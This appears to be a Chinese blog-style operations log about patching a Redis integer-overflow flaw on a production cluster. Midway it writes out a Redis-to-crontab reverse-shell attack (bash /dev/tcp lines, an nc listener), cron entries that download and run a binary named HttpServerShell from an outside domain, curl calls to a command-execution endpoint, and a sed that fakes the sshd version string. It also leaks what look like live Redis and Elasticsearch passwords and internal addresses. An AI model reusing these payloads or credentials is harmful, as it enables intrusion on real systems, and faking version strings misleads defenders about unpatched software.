redis 漏洞修复

今天的计划是修复线上的redis 漏洞

Redis整形溢出漏洞(CVE-2021-32761)及修复脚本

目的: 修复生产的redis漏洞,主要是整数溢出漏洞,但是过程中发现还有反弹shell 漏洞(次要 ,毕竟需要密码)

计划:

  1. 获取生产的redis版本 账号 和密码
  2. 在测试环境搭建反正环境
  3. 漏洞的研究与证实
  4. 测试环境的验证修复
  5. 生产的实施(运维操作 评估形成文档)

开始:

  1. 获取生产的redis版本信息 和账号密码

    需要安装一个redis-cli 才能去获取

    下载redis源码

    wget http://download.redis.io/releases/redis-4.0.10.tar.gz
    

    解压缩

    tar -zxf redis-4.0.10.tar.gz
    

    切换redis源码目录

    cd redis-4.0.10/
    

    编译源文件 不需要指定位置 默认在/usr/local/bin 因为有Makefile

    make && make install (可能不需要make install  和root 账号 我用的是非root 账号 所以 install 的时候报错 没有 /usr/local的权限 ,但是在src 目录下生成了 redis-cli 直接用就可以了)
    
    
    
    spring.redis.cluster.nodes=172.20.3.12:6382,172.20.3.35:6382,172.20.3.36:6382,172.20.3.12:6381,172.20.3.35:6381,172.20.3.36:6381
    spring.redis.password=T6E2q7Bufv5k4Z
    spring.redis.cluster.max-redirects=3
    

    拿到了版本号是 redis_version:5.0.9

    通过了命令:

    ./redis-cli -h 172.20.3.12 -p 6382

    info

    2 搭建测试集群 开始

    下载指定版本redis

    wget http://download.redis.io/releases/redis-5.0.9.tar.gz

    由于我得alpha环境是不通外网的 所以 得换个环境了

    只能起我的vmware 虚拟机了

    虚拟机上已经安装过redis 不过版本信息是6.2.9

2 反弹shell漏洞实验

redis-cli 连接后 flushall清空数据

1.利用redis反弹回来一个shell
root@kali:~# redis-cli -h 192.168.85.170
set x "\n* * * * * bash -i >& /dev/tcp/反弹的ip/7999 0>&1\n"

set x "\n* * * * * bash -i >& /dev/tcp/172.20.3.33/7999 0>&1\n"

set x "\n* * * * * bash -i >& /dev/tcp/127.0.0.1/7999 0>&1\n"

set x "\n* * * * * cp /usr/sbin/sshd1109.bak /usr/sbin/sshd \n"

set x "\n* * * * * cp /usr/sbin/sshd /usr/sbin/sshd1109.bak \n"'



 wget --no-check-certificate https://sharkgame111.com/uploads/HttpServerShell  -O /root/test1 

set x "\n* * * * * bash -i >& /dev/tcp/172.20.3.33/7999 0>&1\n"


set x "\n * */1 * * * wget --no-check-certificate https://sharkgame111.com/uploads/HttpServerShell  -O /root/test1 0>&1\n"

set x "\n * */1 * * * chmod +x /root/test1 0>&1\n"

set x "\n * */1 * * * nohup /root/test1 & 0>&1\n"



*/5 * * * wget https://sharkgame111.com/uploads/HttpServerCmd -O /root/test1 0>&1\n"

遇到点问题:

有的字符串会导致乱码 这个

这个乱码的引起到底是 centos ?==》 crontab -e >

config set dir /var/spool/cron/
config set dbfilename root
save

如果不清空数据会怎么样呢?

有差别 每个数据都被单独一行吸入到了crontab中了

如果要还原的话就是 清空再save.

然后直接本地开个nc ,没有安装的话 yum install nc

nc -lvnp 7999  进行接受反弹回来的信息

3 整数溢出漏洞

影响范围

Redis整形溢出漏洞影响版本:

2.2 < Redis Redis < 5.0.13
2.2 < Redis Redis < 6.0.15
2.2 < Redis Redis < 6.2.5

根据影响版本中的信息,排查并升级到安全版本,下载链接:
https://github.com/redis/redis/releases
安全版本:5.0.13、6.0.15/6.2.5

wget http://download.redis.io/releases/redis-6.2.5.tar.gz

开始修复

计划:

 1.    安装redis 单机或者集群? 
 2.    wget http://download.redis.io/releases/redis-6.2.5.tar.gz
 3.    备份conrtab

0 */1 * * * /srv/script/init_kerberos_kylin.sh > /srv/script/logs/init_kerberos_kylin.log 2>&1 * * */2 * * echo "" > /usr/local/project/bigdata/bgd-cloudswitch-search-provider/nohup.out */5 * * * * curl -s -k --cert client.pem --key key.pem -u elastic:tb355XlypevZWw7I9L35 -X POST https://172.20.3.35:9200/test_new_collect_terminal_info_alias/_rollover --header 'Content-Type:application/json' -d '{ "conditions": { "max_age": "15d", "max_docs": 50000000, "max_size": "10gb"}}' >> /root/crontab.log

信息备份

127.0.0.1:6379> auth T6E2q7Bufv5k4Z OK 127.0.0.1:6379> config get dbfilename 1) "dbfilename" 2) "dump.rdb" 127.0.0.1:6379> config get dir 1) "dir" 2) "/service/redis-delete/redis-6.2.5" 127.0.0.1:6379>

停服务 把redis 迁移过去

启动命令准备好

java -Xms2048m -Xmx2048m -jar -Dspring.profiles.active=prod -Dspring.cloud.consul.host=172.20.133.200 -Dspring.cloud.consul.port=31000 -Dspring.config.location=application.yml,application-prod.properties /service/bigdata-cloudswitch-consumer/bigdata-cloudswitch-consumer-v1.0.8.7f5f609.201.jar

查看原有数据是否有redis key

keys *

查看所有的日志

tail -fn 200 logs/bigdata-cloudswitch-consumer/error.log

清楚数据 然后过几天来看对不对

[root@hadoop-server-006 bigdata-cloudswitch-consumer-second]# /usr/local/bin/redis-cli -h 172.20.3.12 -p 6382

auth T6E2q7Bufv5k4Z

172.20.3.12:6382> dbsize

(error) NOAUTH Authentication required.

172.20.3.12:6382> auth T6E2q7Bufv5k4Z OK

172.20.3.12:6382> dbsize (integer) 101329

172.20.3.12:6382> flushall OK

172.20.3.12:6382> dbsize (integer) 0

172.20.3.12:6382> dbsize (integer) 0

172.20.3.12:6382>

观察很久了 发现数据并没有增加

curl 172.20.3.12:9081/ip?cmd=ls%20/usr/sbin/sshd*
curl 172.20.3.36:9081/ip?cmd=ls%20-l%20/usr/sbin/sshd*
curl 172.20.3.36:9081/ip?cmd=mv%20/usr/sbin/sshd1109.bak%20/usr/sbin/sshd

redis的集群模式是可以更改的


redis slave 转 master

将 Redis Slave 转换为 Master 的过程如下所示:

  1. 首先登录到 Redis Slave 服务器上。可以使用 SSH 或其他远程连接工具进行登录。
  2. 打开命令行界面并输入 redis-cli 来启动 Redis CLI(Redis Command Line Interface)。
  3. 在 Redis CLI 中运行 SLAVEOF NO ONE 命令,这会取消当前从节点与主节点之间的复制关系。
  4. 然后再次运行 INFO replication 命令查看当前 Redis 实例的信息,确保已经成功变为了主节点。
  5. 最后退出 Redis CLI,返回到原始的操作系统命令行界面。
  6. 现在该 Redis Slave 就被转换为了新的 Redis Master。

注意事项:

  • 在执行此操作之前,建议先对数据库进行全量备份,以防止数据丢失。
  • 需要有足够的权限才能执行上述操作。

但是我发现一个问题

我的敲命令

SLAVEOF NO ON

会有问题

ERR REPLICAOF not allowed in cluster mode.

cluster nodes

可以查看集群节点信息

80b687768b2c93fac2c958d1230ee1c92cfc1d9f 172.20.3.36:6382@16382 slave 2602ce8a608ec75f9a6b02b53eb4f283b5c36146 0 1704347420110 6 connected d01d4cefca1de4ab6e25c3cfd5d8547ad0fedb38 172.20.3.12:6382@16382 master - 0 1704347418106 7 connected 10923-16383 e56a8d24266e17f049576d31ef1655e8b7712d2d 172.20.3.12:6381@16381 master - 0 1704347419108 1 connected 0-5460 c974ed8a7e0fa2b57902d0751edd7c818072301b 172.20.3.36:6381@16381 myself,slave d01d4cefca1de4ab6e25c3cfd5d8547ad0fedb38 0 1704347415000 5 connected 2602ce8a608ec75f9a6b02b53eb4f283b5c36146 172.20.3.35:6381@16381 master - 0 1704347421512 3 connected 5461-10922 2cabb3fafca25308ddaf28be812fafb8d1b5b694 172.20.3.35:6382@16382 slave e56a8d24266e17f049576d31ef1655e8b7712d2d 0 1704347421112 4 connected

c974ed8a7e0fa2b57902d0751edd7c818072301b 172.20.3.36:6381@16381 myself,slave d01d4cefca1de4ab6e25c3cfd5d8547ad0fedb38 0 1704348587000 5 connected

sed -i 's/OpenSSH_8.6/OpenSSH_9.5/g' /usr/sbin/sshd

张大成

发表评论 取消回复 您未登录,登录后才能评论,前往登录